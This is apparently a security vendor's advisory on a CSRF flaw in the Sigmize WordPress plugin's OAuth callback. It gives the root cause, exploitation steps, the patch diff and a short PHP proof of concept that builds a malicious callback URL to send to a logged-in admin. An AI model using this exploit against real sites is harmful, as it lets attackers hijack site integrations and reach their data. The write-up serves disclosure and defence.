Atomic Edge analysis of CVE-2026-24962:
The Sigmize WordPress plugin, versions up to and including 0.0.9, contains a Cross-Site Request Forgery vulnerability in its OAuth authentication flow. The vulnerability has a CVSS score of 4.3 and allows unauthenticated attackers to trick an administrator into performing an unauthorized OAuth connection, potentially linking the site to an attacker-controlled Sigmize SaaS account.
Atomic Edge research identifies the root cause as missing CSRF protection during the OAuth callback handling process. The vulnerable `handle_oauth_callback()` function in `/sigmize/includes/class-auth-manager.php` (lines 159-191) processes the `oauth_token` parameter from the `$_GET` superglobal without validating a corresponding anti-CSRF token. The function proceeds to exchange this token via `exchange_token()` without verifying the request’s origin. The `get_auth_url()` method (lines 142-147) also lacked any state parameter generation, creating a completely unprotected authorization initiation link.
Exploitation requires an attacker to craft a malicious link or page that, when visited by a logged-in WordPress administrator, triggers an automatic request to the plugin’s OAuth callback endpoint. The target URL is the site’s standard admin page, typically `/wp-admin/admin.php?page=sigmize`. The attacker must append the `oauth_token` parameter containing a token issued by the Sigmize SaaS platform. Since no nonce or state validation occurs, the plugin will accept this token and attempt to link the site to the attacker’s Sigmize account upon callback.
The patch in version 0.0.10 implements a state parameter mechanism to provide CSRF protection. The `get_auth_url()` method now calls `generate_oauth_state()` (lines 383-403) to create a cryptographically secure token stored in a user-specific transient. This state parameter is appended to the OAuth redirect URL. In `handle_oauth_callback()` (lines 198-234), the plugin retrieves and validates the incoming state parameter using `validate_oauth_state()` (lines 420-445), which performs a timing-safe comparison against the stored transient before deleting it. The patch also passes the validated state to the `exchange_token()` method for potential SaaS-side verification.
Successful exploitation allows an attacker to associate the victim WordPress site with an attacker-controlled Sigmize SaaS account. This could lead to interception of A/B testing data, session recordings, heatmaps, and e-commerce revenue tracking information. The attacker could also potentially inject malicious JavaScript into the site via the connected Sigmize platform, leading to stored XSS or credential theft. The impact is limited to administrators who can be tricked into initiating the OAuth flow while authenticated.
--- a/sigmize/includes/class-auth-manager.php
+++ b/sigmize/includes/class-auth-manager.php
@@ -142,12 +142,19 @@
public function get_auth_url()
{
$callback_url = $this->get_callback_url();
- return add_query_arg(
- array(
- 'oauth_url' => urlencode($callback_url),
- ),
- self::SAAS_AUTH_URL
+ $state = $this->generate_oauth_state();
+
+ $params = array(
+ 'oauth_url' => urlencode($callback_url),
);
+
+ // Include state parameter if generated successfully
+ // Note: Don't urlencode state - add_query_arg() handles encoding automatically
+ if ($state) {
+ $params['state'] = $state;
+ }
+
+ return add_query_arg($params, self::SAAS_AUTH_URL);
}
/**
@@ -159,7 +166,7 @@
*/
public function handle_oauth_callback()
{
- // phpcs:disable WordPress.Security.NonceVerification.Recommended -- OAuth callback from external SaaS, nonce not applicable
+ // phpcs:disable WordPress.Security.NonceVerification.Recommended -- OAuth callback from external SaaS, state parameter used for CSRF protection
// First check if we have oauth_token in the URL
// Handle both proper format and malformed URLs
@@ -191,17 +198,34 @@
}
}
- // phpcs:enable WordPress.Security.NonceVerification.Recommended
-
if (! $page || strpos($page, 'sigmize') !== 0) {
return;
}
- // Exchange token
- $result = $this->exchange_token($oauth_token);
+ // Validate state parameter for CSRF protection
+ $state = null;
+ if (isset($_GET['state'])) {
+ $state = sanitize_text_field(wp_unslash($_GET['state']));
+ } else {
+ // Handle malformed URL with double question mark
+ $request_uri = isset($_SERVER['REQUEST_URI']) ? esc_url_raw(wp_unslash($_SERVER['REQUEST_URI'])) : '';
+ if ($request_uri && preg_match('/[?&]state=([^&]+)/', $request_uri, $matches)) {
+ $state = sanitize_text_field($matches[1]);
+ }
+ }
+
+ if (! $this->validate_oauth_state($state)) {
+ wp_safe_redirect(admin_url('admin.php?page=' . $page . '&auth_error=invalid_state'));
+ exit;
+ }
+
+ // phpcs:enable WordPress.Security.NonceVerification.Recommended
+
+ // Exchange token (pass state for SaaS validation)
+ $result = $this->exchange_token($oauth_token, $state);
if ($result) {
- // Redirect to remove oauth_token from URL
+ // Redirect to remove oauth_token and state from URL
wp_safe_redirect(admin_url('admin.php?page=' . $page));
exit;
} else {
@@ -215,13 +239,15 @@
* Exchange OAuth token for bearer token
*
* @param string $oauth_token OAuth token from callback.
+ * @param string $state State parameter for CSRF validation.
* @return bool
*/
- private function exchange_token($oauth_token)
+ private function exchange_token($oauth_token, $state = '')
{
try {
$body = array(
'oauth_token' => $oauth_token,
+ 'state' => $state,
'site_url' => rest_url('sigmize/v1/'),
);
$response = wp_remote_post(
@@ -270,7 +296,6 @@
return false;
} catch (Exception $e) {
- // Log error for debugging and return false
return false;
}
}
@@ -335,10 +360,84 @@
*/
public function show_auth_error()
{
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reading error parameter for display only
+ $error_code = isset($_GET['auth_error']) ? sanitize_text_field(wp_unslash($_GET['auth_error'])) : '1';
+
+ $error_messages = array(
+ 'invalid_state' => __('Invalid authentication request. Please try connecting again.', 'sigmize'),
+ '1' => __('Authentication failed. Please try again.', 'sigmize'),
+ );
+
+ $message = isset($error_messages[$error_code]) ? $error_messages[$error_code] : $error_messages['1'];
?>
<div class="notice notice-error">
- <p><?php esc_html_e('Authentication failed. Please try again.', 'sigmize'); ?></p>
+ <p><?php echo esc_html($message); ?></p>
</div>
<?php
}
+
+ /**
+ * Generate OAuth state token
+ *
+ * @since 0.0.8
+ *
+ * @return string|false State token or false on failure
+ */
+ private function generate_oauth_state()
+ {
+ try {
+ // Generate cryptographically secure random bytes
+ $random_bytes = random_bytes(32);
+ // Use URL-safe base64 encoding (no padding) to avoid issues with = in URLs
+ $state = rtrim(strtr(base64_encode($random_bytes), '+/', '-_'), '=');
+
+ // Store in transient keyed by user ID (10 minute expiration)
+ $user_id = get_current_user_id();
+ if (!$user_id) {
+ return false;
+ }
+
+ $transient_key = 'sigmize_oauth_state_' . $user_id;
+ set_transient($transient_key, $state, 600);
+
+ return $state;
+ } catch (Exception $e) {
+ return false;
+ }
+ }
+
+ /**
+ * Validate OAuth state token
+ *
+ * @since 0.0.8
+ *
+ * @param string $state State token to validate.
+ * @return bool True if valid, false otherwise
+ */
+ private function validate_oauth_state($state)
+ {
+ if (empty($state)) {
+ return false;
+ }
+
+ $user_id = get_current_user_id();
+ if (!$user_id) {
+ return false;
+ }
+
+ $transient_key = 'sigmize_oauth_state_' . $user_id;
+ $stored_state = get_transient($transient_key);
+
+ // Delete transient immediately (single-use)
+ delete_transient($transient_key);
+
+ // Validate state matches
+ if (empty($stored_state)) {
+ return false;
+ }
+
+ // Use hash_equals for timing-safe comparison
+ return hash_equals($stored_state, $state);
+ }
+
}
--- a/sigmize/sigmize.php
+++ b/sigmize/sigmize.php
@@ -4,7 +4,7 @@
* Plugin Name: Sigmize
* Plugin URI: https://sigmize.com
* Description: A powerful A/B testing plugin for WordPress that enables testing of pages and elements with comprehensive analytics.
- * Version: 0.0.9
+ * Version: 0.0.10
* Author: Sigmize
* Author URI: https://sigmize.com/
* License: GPLv2 or later
@@ -49,7 +49,7 @@
*
* @var string
*/
- const VERSION = '0.0.9';
+ const VERSION = '0.0.10';
/**
* Plugin singleton instance
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24962 - Sigmize <= 0.0.9 - Cross-Site Request Forgery
<?php
// Configuration
$target_url = 'https://vulnerable-site.example.com';
$oauth_token = 'ATTACKER_CONTROLLED_OAUTH_TOKEN';
// Step 1: Verify the target is running a vulnerable version of Sigmize
// This checks for the presence of the vulnerable callback endpoint
$check_url = $target_url . '/wp-admin/admin.php?page=sigmize';
$ch = curl_init($check_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 2: Construct the malicious OAuth callback URL
// The vulnerability is triggered when an admin visits this URL while logged in
$exploit_url = $target_url . '/wp-admin/admin.php?page=sigmize&oauth_token=' . urlencode($oauth_token);
// Step 3: Output the exploit payload
echo "Atomic Edge CVE-2026-24962 Proof of Conceptn";
echo "Target: $target_urln";
echo "HTTP Check Response: $http_coden";
echo "nExploit URL (send to logged-in admin):n";
echo "$exploit_urln";
echo "nAttack Mechanism:n";
echo "1. Attacker obtains a valid oauth_token from Sigmize SaaS platformn";
echo "2. Attacker crafts the above URL with their tokenn";
echo "3. Admin visits URL while authenticated to WordPressn";
echo "4. Plugin processes oauth_token without CSRF validationn";
echo "5. Site becomes linked to attacker's Sigmize accountn";
// Note: This is a CSRF attack, so the PoC is a URL, not an automated script
// The attack requires social engineering to make an admin visit the URL
?>
